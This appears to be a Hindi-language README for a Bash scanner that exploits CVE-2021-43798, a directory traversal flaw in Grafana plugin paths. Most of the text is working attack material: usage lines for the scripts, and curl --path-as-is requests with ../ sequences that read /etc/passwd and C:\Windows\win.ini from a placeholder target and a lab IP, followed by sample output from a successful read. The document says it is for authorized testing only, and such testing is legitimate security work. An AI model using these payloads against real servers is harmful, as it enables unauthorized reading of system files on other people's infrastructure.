
Grafana प्लगइन ID की गणना करने और कमजोर इंस्टेंस पर /etc/passwd या win.ini पढ़ने का प्रयास करके CVE-2021-43798 डायरेक्टरी ट्रैवर्सल का परीक्षण करने वाला Bash-आधारित स्कैनर।
Grafana इंस्टेंस को CVE-2021-43798 के लिए परीक्षण करने हेतु एक छोटा Bash-आधारित टूल, जो कि कमजोर Grafana संस्करणों को प्रभावित करने वाली डायरेक्टरी ट्रैवर्सल भेद्यता है।
यह टूल Grafana प्लगइन IDs की गणना करता है और curl --path-as-is का उपयोग करके यह परीक्षण करता है कि क्या डायरेक्टरी ट्रैवर्सल किसी ज्ञात फ़ाइल तक पहुँच सकता है।
केवल अधिकृत सुरक्षा परीक्षण और लैब वातावरण के लिए।
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: C:\Windows\win.ini तक पहुँच का परीक्षण करता हैgrafana-linux.sh: /etc/passwd तक पहुँच का परीक्षण करता हैplugins.txt: एन्यूमरेशन के दौरान उपयोग किए जाने वाले Grafana प्लगइन IDs वाली एक वर्डलिस्ट।curlजाँचें कि curl इंस्टॉल है:
curl --version
स्क्रिप्ट्स को निष्पादन योग्य बनाएँ:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798, Grafana में एक डायरेक्टरी ट्रैवर्सल भेद्यता है।
कमजोर एंडपॉइंट इसके आसपास आधारित है:
/public/plugins/<plugin-id>/
यह भेद्यता इच्छित प्लगइन डायरेक्टरी के बाहर ट्रैवर्सल की अनुमति दे सकती है।
curl के साथ परीक्षण करते समय महत्वपूर्ण भाग है:
--path-as-is
इस विकल्प के बिना, क्लाइंट सर्वर को भेजने से पहले पथ को सामान्यीकृत कर सकता है।
Windows स्कैनर निम्नलिखित को पुनःप्राप्त करने का प्रयास करता है:
C:\Windows\win.ini
पथ को HTTP अनुरोध में इस प्रकार दर्शाया गया है:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
उदाहरण:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
आप इसके साथ मैन्युअल रूप से एक प्लगइन का परीक्षण कर सकते हैं:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
लैब लक्ष्य के लिए:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
एक सफल प्रतिक्रिया में Windows INI फ़ाइल सामग्री होनी चाहिए।
Linux स्कैनर निम्नलिखित को पुनःप्राप्त करने का प्रयास करता है:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
सामान्य उदाहरण:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
लैब लक्ष्य के लिए:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
एक सफल Linux प्रतिक्रिया में इसके समान प्रविष्टियाँ होनी चाहिए:
root:x:0:0:root:/root:/bin/bash
दोनों स्कैनर समान बुनियादी तर्कों का उपयोग करते हैं:
u, --url : Grafana बेस URLw, --wordlist : प्लगइन वर्डलिस्टf, --file : परीक्षण करने के लिए फ़ाइलh, --help : सहायता दिखाएँ